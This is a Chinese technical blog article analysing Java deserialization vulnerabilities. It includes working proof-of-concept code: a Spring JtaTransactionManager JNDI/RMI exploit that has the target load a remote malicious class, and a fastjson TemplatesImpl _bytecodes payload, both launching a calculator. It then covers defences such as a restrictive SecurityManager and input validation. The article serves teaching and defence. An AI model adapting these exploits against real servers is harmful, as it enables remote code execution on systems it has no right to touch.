服务器之家

服务器之家 > 正文

深入剖析 Java 反序列化漏洞

时间:2021-10-20 21:16     来源/作者:Java极客技术

深入剖析 Java 反序列化漏洞

一、背景

在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。

但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。

  • DUBBO:对象传输必须要实现序列化
  • RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口

而在反序列化的背后,却隐藏了很多不为人知的秘密!

最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。

2016 年 Spring RMI 反序列化爆出漏洞,攻击者可以通过 JtaTransactionManager 这个类,来远程执行恶意代码。

2017 年 4月15 日,Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。

还有 fastjson,一款 java 编写的高性能功能非常完善的 JSON 库,应用范围非常广,在 2017 年,fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

Java 十分受开发者喜爱的一点,就是其拥有完善的第三方类库,和满足各种需求的框架。但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,或者在数据校验入口就没有把关好,那么受影响范围将极为广泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么问题来了,攻击者是如何精心构造反序列化对象并执行恶意代码的呢?

二、漏洞分析

2.1、漏洞基本原理

我们先看一段代码如下:

  1. publicclassDemoSerializable{
  2. publicstaticvoidmain(String[]args)throwsException{
  3. //定义myObj对象
  4. MyObjectmyObj=newMyObject();
  5. myObj.name="helloworld";
  6. //创建一个包含对象进行反序列化信息的”object”数据文件
  7. FileOutputStreamfos=newFileOutputStream("object");
  8. ObjectOutputStreamos=newObjectOutputStream(fos);
  9. //writeObject()方法将myObj对象写入object文件
  10. os.writeObject(myObj);
  11. os.close();
  12. //从文件中反序列化obj对象
  13. FileInputStreamfis=newFileInputStream("object");
  14. ObjectInputStreamois=newObjectInputStream(fis);
  15. //恢复对象
  16. MyObjectobjectFromDisk=(MyObject)ois.readObject();
  17. System.out.println(objectFromDisk.name);
  18. ois.close();
  19. }
  20. }
  21. classMyObjectimplementsSerializable{
  22. /**
  23. *任意属性
  24. */
  25. publicStringname;
  26. //重写readObject()方法
  27. privatevoidreadObject(java.io.ObjectInputStreamin)throwsIOException,ClassNotFoundException{
  28. //执行默认的readObject()方法
  29. in.defaultReadObject();
  30. //执行指定程序
  31. Runtime.getRuntime().exec("openhttps://www.baidu.com/");
  32. }
  33. }

运行程序之后,控制台会输出hello world,同时也会打开网页跳转到https://www.baidu.com/。

从这段逻辑中分析,我们可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。

  1. Runtime.getRuntime().exec("openhttps://www.baidu.com/");

我们可以再把这段代码改造一下,内容如下:

  1. //mac系统,执行打开计算器程序命令
  2. Runtime.getRuntime().exec("open/Applications/Calculator.app/");
  3. //windows系统,执行打开计算器程序命令
  4. Runtime.getRuntime().exec("calc.exe");

运行程序后,可以很轻松的打开电脑中已有的任意程序。

深入剖析 Java 反序列化漏洞

很多人可能不知道,这里的readObject()是可以重写的,只是Serializable接口没有显示的把它展示出来,readObject()方法的作用是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,以定制反序列化的一些行为。

可能有的同学会说,实际开发过程中,不会有人这么去重写readObject()方法,当然不会,但是实际情况也不会太差。

2.2、Spring 框架的反序列化漏洞

以当时的 Spring 框架爆出的反序列化漏洞为例,请看当时的示例代码。

首先创建一个 server 代码:

  1. publicclassExploitableServer{
  2. publicstaticvoidmain(String[]args){
  3. try{
  4. //创建socket
  5. ServerSocketserverSocket=newServerSocket(Integer.parseInt("9999"));
  6. System.out.println("Serverstartedonport"+serverSocket.getLocalPort());
  7. while(true){
  8. //等待链接
  9. Socketsocket=serverSocket.accept();
  10. System.out.println("Connectionreceivedfrom"+socket.getInetAddress());
  11. ObjectInputStreamobjectInputStream=newObjectInputStream(socket.getInputStream());
  12. try{
  13. //读取对象
  14. Objectobject=objectInputStream.readObject();
  15. System.out.println("Readobject"+object);
  16. }catch(Exceptione){
  17. System.out.println("Exceptioncaughtwhilereadingobject");
  18. e.printStackTrace();
  19. }
  20. }
  21. }catch(Exceptione){
  22. e.printStackTrace();
  23. }
  24. }
  25. }

然后创建一个 client 代码:

  1. publicclassExploitClient{
  2. publicstaticvoidmain(String[]args){
  3. try{
  4. StringserverAddress="127.0.0.1";
  5. intport=Integer.parseInt("1234");
  6. StringlocalAddress="127.0.0.1";
  7. System.out.println("StartingHTTPserver");//开启8080端口服务
  8. HttpServerhttpServer=HttpServer.create(newInetSocketAddress(8080),0);
  9. httpServer.createContext("/",newHttpFileHandler());
  10. httpServer.setExecutor(null);
  11. httpServer.start();
  12. System.out.println("CreatingRMIRegistry");//绑定RMI服务到1099端口Object提供恶意类的RMI服务
  13. Registryregistry=LocateRegistry.createRegistry(1099);
  14. /*
  15. java为了将object对象存储在Naming或者Directory服务下,
  16. 提供了NamingReference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
  17. 比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,
  18. 当被调用的时候,对象的方法就会被触发。理解了jndi和jndireference后,
  19. 就可以理解jndi注入产生的原因了。
  20. *///绑定本地的恶意类到1099端口
  21. Referencereference=newjavax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
  22. ReferenceWrapperreferenceWrapper=newcom.sun.jndi.rmi.registry.ReferenceWrapper(reference);
  23. registry.bind("Object",referenceWrapper);
  24. System.out.println("Connectingtoserver"+serverAddress+":"+port);//连接服务器1234端口
  25. Socketsocket=newSocket(serverAddress,port);
  26. System.out.println("Connectedtoserver");
  27. StringjndiAddress="rmi://"+localAddress+":1099/Object";
  28. //JtaTransactionManager反序列化时的readObject方法存在问题//使得setUserTransactionName可控,远程加载恶意类
  29. //lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
  30. org.springframework.transaction.jta.JtaTransactionManagerobject=neworg.springframework.transaction.jta.JtaTransactionManager();
  31. object.setUserTransactionName(jndiAddress);
  32. //上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
  33. System.out.println("Sendingobjecttoserver...");
  34. ObjectOutputStreamobjectOutputStream=newObjectOutputStream(socket.getOutputStream());
  35. objectOutputStream.writeObject(object);
  36. objectOutputStream.flush();
  37. while(true){
  38. Thread.sleep(1000);
  39. }
  40. }catch(Exceptione){
  41. e.printStackTrace();
  42. }
  43. }
  44. }

最后,创建一个ExportObject需要远程下载的类:

  1. publicclassExportObject{
  2. publicstaticStringexec(Stringcmd)throwsException{
  3. Stringsb="";
  4. BufferedInputStreamin=newBufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
  5. BufferedReaderinBr=newBufferedReader(newInputStreamReader(in));
  6. StringlineStr;
  7. while((lineStr=inBr.readLine())!=null)
  8. sb+=lineStr+"\n";
  9. inBr.close();
  10. in.close();
  11. returnsb;
  12. }
  13. publicExportObject()throwsException{
  14. Stringcmd="open/Applications/Calculator.app/";
  15. thrownewException(exec(cmd));
  16. }
  17. }

先开启 server,再运行 client 后,计算器会直接被打开!

深入剖析 Java 反序列化漏洞

究其原因,主要是这个类JtaTransactionManager类存在问题,最终导致了漏洞的实现。

打开源码,翻到最下面,可以很清晰的看到JtaTransactionManager类重写了readObject方法。

深入剖析 Java 反序列化漏洞

重点就是这个方法initUserTransactionAndTransactionManager(),里面会转调用到JndiTemplate的lookup()方法。

深入剖析 Java 反序列化漏洞

深入剖析 Java 反序列化漏洞

可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是说,通过JtaTransactionManager类的setUserTransactionName()方法执行,最终指向了rmi://127.0.0.1:1099/Object,导致服务执行了恶意类的远程代码。

2.3、FASTJSON 框架的反序列化漏洞分析

我们先来看一个简单的例子,程序代码如下:

  1. importcom.sun.org.apache.xalan.internal.xsltc.DOM;
  2. importcom.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. importjava.io.IOException;
  7. publicclassTestextendsAbstractTranslet{
  8. publicTest()throwsIOException{
  9. Runtime.getRuntime().exec("open/Applications/Calculator.app/");
  10. }
  11. publicvoidtransform(DOMdocument,SerializationHandler[]handlers)throwsTransletException{
  12. }
  13. @Override
  14. publicvoidtransform(DOMdocument,DTMAxisIteratoriterator,com.sun.org.apache.xml.internal.serializer.SerializationHandlerhandler){
  15. }
  16. publicstaticvoidmain(String[]args)throwsException{
  17. Testt=newTest();
  18. }
  19. }

运行程序之后,同样的直接会打开电脑中的计算器。

恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法,通过运行时操作类直接执行恶意代码。

我们在来看看下面这个例子:

  1. importcom.alibaba.fastjson.JSON;
  2. importcom.alibaba.fastjson.parser.Feature;
  3. importcom.alibaba.fastjson.parser.ParserConfig;
  4. importorg.apache.commons.io.IOUtils;
  5. importorg.apache.commons.codec.binary.Base64;
  6. importjava.io.ByteArrayOutputStream;
  7. importjava.io.File;
  8. importjava.io.FileInputStream;
  9. importjava.io.IOException;
  10. publicclassPOC{
  11. publicstaticStringreadClass(Stringcls){
  12. ByteArrayOutputStreambos=newByteArrayOutputStream();
  13. try{
  14. IOUtils.copy(newFileInputStream(newFile(cls)),bos);
  15. }catch(IOExceptione){
  16. e.printStackTrace();
  17. }
  18. returnBase64.encodeBase64String(bos.toByteArray());
  19. }
  20. publicstaticvoidtest_autoTypeDeny()throwsException{
  21. ParserConfigconfig=newParserConfig();
  22. finalStringfileSeparator=System.getProperty("file.separator");
  23. finalStringevilClassPath=System.getProperty("user.dir")+"/target/classes/person/Test.class";
  24. StringevilCode=readClass(evilClassPath);
  25. finalStringNASTY_CLASS="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  26. Stringtext1="{\"@type\":\""+NASTY_CLASS+
  27. "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{},"+
  28. "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
  29. System.out.println(text1);
  30. Objectobj=JSON.parseObject(text1,Object.class,config,Feature.SupportNonPublicField);
  31. //assertEquals(Model.class,obj.getClass());
  32. }
  33. publicstaticvoidmain(Stringargs[]){
  34. try{
  35. test_autoTypeDeny();
  36. }catch(Exceptione){
  37. e.printStackTrace();
  38. }
  39. }
  40. }

在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本会执行成功,如果是高版本的,可能会报错!

详细分析请移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也与之类似。

三、如何防范

从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。

3.1、禁止 JVM 执行外部命令 Runtime.exec

从上面的代码中,我们不难发现,恶意代码最终都是通过Runtime.exec这个方法得到执行,因此我们可以从 JVM 层面禁止外部命令的执行。

通过扩展 SecurityManager 可以实现:

  1. publicclassSecurityManagerTest{
  2. publicstaticvoidmain(String[]args){
  3. SecurityManageroriginalSecurityManager=System.getSecurityManager();
  4. if(originalSecurityManager==null){
  5. //创建自己的SecurityManager
  6. SecurityManagersm=newSecurityManager(){
  7. privatevoidcheck(Permissionperm){
  8. //禁止exec
  9. if(perminstanceofjava.io.FilePermission){
  10. Stringactions=perm.getActions();
  11. if(actions!=null&&actions.contains("execute")){
  12. thrownewSecurityException("executedenied!");
  13. }
  14. }
  15. //禁止设置新的SecurityManager,保护自己
  16. if(perminstanceofjava.lang.RuntimePermission){
  17. Stringname=perm.getName();
  18. if(name!=null&&name.contains("setSecurityManager")){
  19. thrownewSecurityException("System.setSecurityManagerdenied!");
  20. }
  21. }
  22. }
  23. @Override
  24. publicvoidcheckPermission(Permissionperm){
  25. check(perm);
  26. }
  27. @Override
  28. publicvoidcheckPermission(Permissionperm,Objectcontext){
  29. check(perm);
  30. }
  31. };
  32. System.setSecurityManager(sm);
  33. }
  34. }
  35. }

只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,我们还得想其他招数。

3.2、增加多层数据校验

比较有效的办法是,当我们把接口参数暴露出去之后,服务端要及时做好数据参数的验证,尤其是那种带有http、https、rmi等这种类型的参数过滤验证,可以进一步降低服务的风险。

四、小结

随着 Json 数据交换格式的普及,直接应用在服务端的反序列化接口也随之减少,但陆续爆出的Jackson和Fastjson两大 Json 处理库的反序列化漏洞,也暴露出了一些问题。

所以我们在日常业务开发的时候,对于 Java 反序列化的安全问题应该具备一定的防范意识,并着重注意传入数据的校验、服务器权限和相关日志的检查, API 权限控制,通过 HTTPS 加密传输数据等方面进行下功夫,以免造成不必要的损失!

五、参考

1、seebug - 深入理解 JAVA 反序列化漏洞

2、博客圆 - Afant1- Spring framework 反序列化的漏洞

3、技术博客- FASTJSON 远程反序列化程序验证的构造和分析

原文链接:https://mp.weixin.qq.com/s/SWkCu3rQyDBN4zrrXOTOwA

标签:

相关文章

热门资讯

2022年最旺的微信头像大全 微信头像2022年最新版图片
2022年最旺的微信头像大全 微信头像2022年最新版图片 2022-01-10
蜘蛛侠3英雄无归3正片免费播放 蜘蛛侠3在线观看免费高清完整
蜘蛛侠3英雄无归3正片免费播放 蜘蛛侠3在线观看免费高清完整 2021-08-24
背刺什么意思 网络词语背刺是什么梗
背刺什么意思 网络词语背刺是什么梗 2020-05-22
yue是什么意思 网络流行语yue了是什么梗
yue是什么意思 网络流行语yue了是什么梗 2020-10-11
暖暖日本高清免费中文 暖暖在线观看免费完整版韩国
暖暖日本高清免费中文 暖暖在线观看免费完整版韩国 2021-05-08
返回顶部

747
Weibo Article 1 Weibo Article 2 Weibo Article 3 Weibo Article 4 Weibo Article 5 Weibo Article 6 Weibo Article 7 Weibo Article 8 Weibo Article 9 Weibo Article 10 Weibo Article 11 Weibo Article 12 Weibo Article 13 Weibo Article 14 Weibo Article 15 Weibo Article 16 Weibo Article 17 Weibo Article 18 Weibo Article 19 Weibo Article 20 Weibo Article 21 Weibo Article 22 Weibo Article 23 Weibo Article 24 Weibo Article 25 Weibo Article 26 Weibo Article 27 Weibo Article 28 Weibo Article 29 Weibo Article 30 Weibo Article 31 Weibo Article 32 Weibo Article 33 Weibo Article 34 Weibo Article 35 Weibo Article 36 Weibo Article 37 Weibo Article 38 Weibo Article 39 Weibo Article 40